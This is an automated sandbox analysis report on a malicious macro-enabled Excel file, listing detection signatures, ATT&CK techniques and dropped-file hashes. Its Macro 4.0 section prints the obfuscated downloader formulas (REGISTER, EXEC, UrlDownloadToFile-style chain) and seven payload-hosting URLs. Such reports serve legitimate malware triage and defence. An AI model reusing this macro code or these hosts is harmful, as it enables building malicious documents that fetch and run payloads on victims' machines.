Analysis Report Calculation-1776198036-01262021.xlsm
Overview
General Information
Detection
Score: | 56 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
Startup |
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Malware Configuration |
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No configs have been found |
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Yara Overview |
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No yara matches |
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Sigma Overview |
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No Sigma rule has matched |
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Signature Overview |
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Click to jump to signature section
Compliance: |
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Uses new MSVCR Dlls | Show sources |
Source: | File opened: |
Software Vulnerabilities: |
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Document exploit detected (UrlDownloadToFile) | Show sources |
Source: | Section loaded: |
Source: | File created: | Jump to behavior |
System Summary: |
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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources |
Source: | Screenshot OCR: | ||
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Source: | Screenshot OCR: |
Found Excel 4.0 Macro with suspicious formulas | Show sources |
Source: | Initial sample: |
Source: | Binary string: |
Source: | Classification label: |
Source: | File created: | Jump to behavior |
Source: | File created: | Jump to behavior |
Source: | File read: | Jump to behavior |
Source: | Window detected: |
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Source: | File opened: |
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Mitre Att&ck Matrix |
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Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
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Valid Accounts | Scripting11 | Path Interception | Path Interception | Masquerading1 | OS Credential Dumping | File and Directory Discovery1 | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Ingress Tool Transfer1 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
Default Accounts | Exploitation for Client Execution1 | Boot or Logon Initialization Scripts | Boot or Logon Initialization Scripts | Disable or Modify Tools1 | LSASS Memory | System Information Discovery1 | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Bluetooth | Junk Data | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
Domain Accounts | At (Linux) | Logon Script (Windows) | Logon Script (Windows) | Scripting11 | Security Account Manager | Query Registry | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Steganography | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
Behavior Graph |
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Screenshots |
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Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
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Initial Sample |
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No Antivirus matches |
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Dropped Files |
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No Antivirus matches |
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Unpacked PE Files |
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No Antivirus matches |
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Domains |
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No Antivirus matches |
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URLs |
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No Antivirus matches |
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Domains and IPs |
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General Information |
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Joe Sandbox Version: | 31.0.0 Emerald |
Analysis ID: | 344672 |
Start date: | 26.01.2021 |
Start time: | 21:51:04 |
Joe Sandbox Product: | CloudBasic |
Overall analysis duration: | 0h 4m 18s |
Hypervisor based Inspection enabled: | false |
Report type: | light |
Sample file name: | Calculation-1776198036-01262021.xlsm |
Cookbook file name: | defaultwindowsofficecookbook.jbs |
Analysis system description: | Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2) |
Number of analysed new started processes analysed: | 4 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
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Analysis Mode: | default |
Analysis stop reason: | Timeout |
Detection: | MAL |
Classification: | mal56.expl.evad.winXLSM@1/9@0/0 |
Cookbook Comments: |
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Warnings: | Show All
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Simulations |
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Behavior and APIs |
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No simulations |
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Joe Sandbox View / Context |
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Created / dropped Files |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 8301 |
Entropy (8bit): | 7.970711494690041 |
Encrypted: | false |
SSDEEP: | 192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh |
MD5: | D8574C9CC4123EF67C8B600850BE52EE |
SHA1: | 5547AC473B3523BA2410E04B75E37B1944EE0CCC |
SHA-256: | ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B |
SHA-512: | 20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 557 |
Entropy (8bit): | 7.343009301479381 |
Encrypted: | false |
SSDEEP: | 12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd |
MD5: | A516B6CB784827C6BDE58BC9D341C1BD |
SHA1: | 9D602E7248E06FF639E6437A0A16EA7A4F9E6C73 |
SHA-256: | EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074 |
SHA-512: | C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35 |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 848 |
Entropy (8bit): | 7.595467031611744 |
Encrypted: | false |
SSDEEP: | 24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc |
MD5: | 02DB1068B56D3FD907241C2F3240F849 |
SHA1: | 58EC338C879DDBDF02265CBEFA9A2FB08C569D20 |
SHA-256: | D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F |
SHA-512: | 9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678 |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 26318 |
Entropy (8bit): | 7.560418528390429 |
Encrypted: | false |
SSDEEP: | 384:1nnowFiBP+nr06IXG2i5SV8m2ylS8aoVT0QNuzWKPqGnWzJcAEyW:1nnlEBP+rQGx5S6f6lW+u7qkAJDEZ |
MD5: | 6A58EF9C257F5897CB017F04C5F5A34A |
SHA1: | FF9709F7BAA37896778E6996D3BBDB99FF81F280 |
SHA-256: | E9CFB75B2B2765F16C62FA07F315566CAFA0AC41D4CAC485C61733E1B1DAF8FD |
SHA-512: | 21E674183AAC54CA1D0EE943E89BDB8F9AA3F41C37BA6163DEBD32ACA517C2871DB3C0D3CB9E2E88840BC3BC2B593242DD352E5B1BA0F276FEA8968496FA2F3F |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 2248 |
Entropy (8bit): | 4.502923945872648 |
Encrypted: | false |
SSDEEP: | 24:8O/XTd6jFyRfeRCCDv3qFMqdM7dD2O/XTd6jFyRfeRCCDv3qFMqdM7dV:8O/XT0jFyf+Cx1Qh2O/XT0jFyf+Cx1Q/ |
MD5: | 13CFB41B6EEC72E3C743E6796F94359D |
SHA1: | 4F89C1840FEA3FE80CE90A6201D9F63FC8CC1938 |
SHA-256: | D23FB9E78F0455E0C2CC58AA3772DD939AACA91B69BA02ACC03D27630E2CD0F2 |
SHA-512: | AD833E3F7CB9BD652E10D6BF0B1648D9A99EF2B346FA65D8D4676E245ECC5AACCD6BDC0B6B16B1E693150B7FF9E4760ACE99C31B2C33E2F3395EDF0A6B58FCCB |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 867 |
Entropy (8bit): | 4.4712558982303126 |
Encrypted: | false |
SSDEEP: | 12:85QlvmCLgXg/XAlCPCHaXtB8XzB/PAlPoWvX+Wnicvb+PbDtZ3YilMMEpxRljKh1:85U/XTd6jRAAeYeqDv3qFMqrNru/ |
MD5: | CD9B5CD29AE6DDA363BAA1DC73718917 |
SHA1: | 5A2FA765C0EB9E77E249B0EB377ECE3C0EA3A16B |
SHA-256: | 38DD8B92AFDDAD63A8A8662E5BA7085A4A3D52B749417B372A2B7F10041F235F |
SHA-512: | E84ABF8712762A40E22C53548BE607634DBAD7A5692E32DD7FBB2BE68CE4CF68B1D1C1A811717C0B0FBA6312C0083048F90791E6D364918FE3EF78ACC15E9E79 |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 148 |
Entropy (8bit): | 4.7787367449503755 |
Encrypted: | false |
SSDEEP: | 3:oyBVomxWtMK/86XUIDp6l+gHK/86XUIDp6lmxWtMK/86XUIDp6lv:djeMA8YUTHA8YUzMA8YU1 |
MD5: | AD1457C05C1DFE731F14882D8A7EC5DC |
SHA1: | B0A9D3A272898CB6858ED56F457D2C13D699DF8C |
SHA-256: | 4FDB44EDC5AFFDDEAE715154B0967AE23150E5FAF7441E8B185E90072E87A22F |
SHA-512: | 62ACEE63757B86115E528C0382F9D5AB30FAA2036B5C60EEF471D40A384214B35F5A8DF3E8657BDC65712C6E3806510EF5D46616DB2BE6D230EEE4DD80DDD0E6 |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 26318 |
Entropy (8bit): | 7.560418528390429 |
Encrypted: | false |
SSDEEP: | 384:1nnowFiBP+nr06IXG2i5SV8m2ylS8aoVT0QNuzWKPqGnWzJcAEyW:1nnlEBP+rQGx5S6f6lW+u7qkAJDEZ |
MD5: | 6A58EF9C257F5897CB017F04C5F5A34A |
SHA1: | FF9709F7BAA37896778E6996D3BBDB99FF81F280 |
SHA-256: | E9CFB75B2B2765F16C62FA07F315566CAFA0AC41D4CAC485C61733E1B1DAF8FD |
SHA-512: | 21E674183AAC54CA1D0EE943E89BDB8F9AA3F41C37BA6163DEBD32ACA517C2871DB3C0D3CB9E2E88840BC3BC2B593242DD352E5B1BA0F276FEA8968496FA2F3F |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 330 |
Entropy (8bit): | 1.4377382811115937 |
Encrypted: | false |
SSDEEP: | 3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS |
MD5: | 96114D75E30EBD26B572C1FC83D1D02E |
SHA1: | A44EEBDA5EB09862AC46346227F06F8CFAF19407 |
SHA-256: | 0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523 |
SHA-512: | 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0 |
Malicious: | true |
Reputation: | moderate, very likely benign file |
Preview: |
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Static File Info |
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General | |
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File type: | |
Entropy (8bit): | 7.5624677136859715 |
TrID: |
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File name: | Calculation-1776198036-01262021.xlsm |
File size: | 26370 |
MD5: | f28ff4fc549018f6eb3e27c3b9cd2473 |
SHA1: | aefcf3ad1685d3b55d027554ea81addb471a4d8f |
SHA256: | fb75ce8dac7dbc3902418d23b9bf1f4d6be4b7a1f318620e57a81912c6987989 |
SHA512: | 0b8969e4ed4bf4328385958a9a73c855b4e0215e6bcdd2a655df6e8143f40200ad5790d2a874ba8d74c3bbc95ecef89e87600c3d538d48110e0cd0a97563d94f |
SSDEEP: | 384:AIfowL2aGcarN6IftXs5SV8m2ylTQ8aoVT0QNuzWKP8WxAJkh0lfusU5:AIfl6aGcEHy5S6f6TfW+u7DqJkhoWsU5 |
File Content Preview: | PK..........!.................[Content_Types].xml ...(......................................................................................................................................................................................................... |
File Icon |
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Icon Hash: | e4e2aa8aa4bcbcac |
Static OLE Info |
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General | ||
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Document Type: | OpenXML | |
Number of OLE Files: | 1 |
OLE File "Calculation-1776198036-01262021.xlsm" |
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Indicators | |
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Has Summary Info: | |
Application Name: | |
Encrypted Document: | |
Contains Word Document Stream: | |
Contains Workbook/Book Stream: | |
Contains PowerPoint Document Stream: | |
Contains Visio Document Stream: | |
Contains ObjectPool Stream: | |
Flash Objects Count: | |
Contains VBA Macros: |
Macro 4.0 Code |
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,,,,,,,,,,,,=B154(),"=FORMULA.FILL(kOTI!U54&kOTI!U55&kOTI!U56&kOTI!U57&kOTI!U58&kOTI!U59,BB53)","=FORMULA.FILL(kOTI!AC56,HI18807)","=EXEC(""r""&kOTI!AC60&"" ""&kOTI!AC59&"",D""&kOTI!AC61)",=B156(),=C156(),=HALT()"=REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)","=FORMULA.FILL(kOTI!V53&kOTI!V54&kOTI!V55&kOTI!V56&kOTI!V57&kOTI!V58&kOTI!V59&kOTI!V60&kOTI!V61&kOTI!V62&kOTI!V63&kOTI!V64&kOTI!V65&kOTI!V66&kOTI!V67&kOTI!V68&kOTI!V69&kOTI!V70,HZ48004)","=FORMULA.FILL(kOTI!AC57,AN32726)","=Vuolasd(GT17028,AQ4875,1)",=B158(),=C158(),,"=FORMULA.FILL(kOTI!U62&kOTI!U63&kOTI!U64&kOTI!U65&kOTI!U66&kOTI!U67,HI18898)","=FORMULA.FILL(""BCCJ"",IK16309)",,=B160(),=C160(),,"=FORMULA.FILL(kOTI!AC58&B169,GT17028)","=FORMULA.FILL(""Niokaser"",IK4106)","=REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)",=B162(),=C162(),"=Niokaser(0,GT17028,AQ4875,0,0)","=FORMULA.FILL(kOTI!AC59,AQ4875)","=FORMULA.FILL(""Vuolasd"",DI7875)",,"=FORMULA.FILL(kOTI!AC60,AS41071)",=A161(),=GOTO(D154),=B165(),,,"=FORMULA.FILL(kOTI!AC61,HG9961)",,,=C154(),,,,,,,,,"=INDEX(B175:B181,RANDBETWEEN(1,8))&B170",,,"=RANDBETWEEN(2222222,8888888)&"".jpg""",,,,,,,,,,,,,,,refillexpress.in/bbrwhodjdi/,,,www.hitkiss.com/ecnamkijuudz/,,,test.limulustest.ru/invzovg/,,,granadaafuegolento.com/hkjwjolm/,,,gulabengineeringworks.in.net/bbndonbik/,,,infire-krby.sk/zzpbvheke/,,,kanaimukherjee.com/wfratccnjna/,,
Network Behavior |
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No network behavior found |
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Code Manipulations |
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Statistics |
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System Behavior |
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General |
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Start time: | 21:51:42 |
Start date: | 26/01/2021 |
Path: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13f4f0000 |
File size: | 27641504 bytes |
MD5 hash: | 5FB0A0F93382ECD19F5F499A5CAA59F0 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Disassembly |
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